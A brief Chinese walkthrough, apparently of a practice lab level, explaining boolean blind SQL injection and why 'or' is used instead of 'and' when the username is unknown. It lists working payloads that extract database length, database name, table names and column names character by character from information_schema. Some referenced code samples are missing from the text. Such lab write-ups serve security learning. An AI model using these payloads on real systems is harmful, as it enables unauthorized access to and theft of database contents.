按照以往思路,尝试一下报错的手段,发现并没有输出报错的语句,查看源码,发现确实没有输出语句(所以考虑使用盲注的手法)
(以15题为例)
-
判断数据库长度:’or (length(database()))=8-- q
-
判断数据库名字:'or (ascii(substr(database(),1,1)))=115-- q
-
判断表的名字:'or (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q
-
判断列的名字:'or (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q
我们发现在之前的八关和九关我们使用的是and; 而到了15关,我们使用的是 or ,让我们观察下面两关原代码(以九题和十五题为例)
现在我们将这两个语句放在一起:
不难看出,如果我们在15题使用and 那么就会变成:
显然不成立,因为我们不清楚username的值。如果使用or,那么后面的值成立就整体成立。
而在9题中 id=1 是成立的所以可以使用and来作为语句的连接。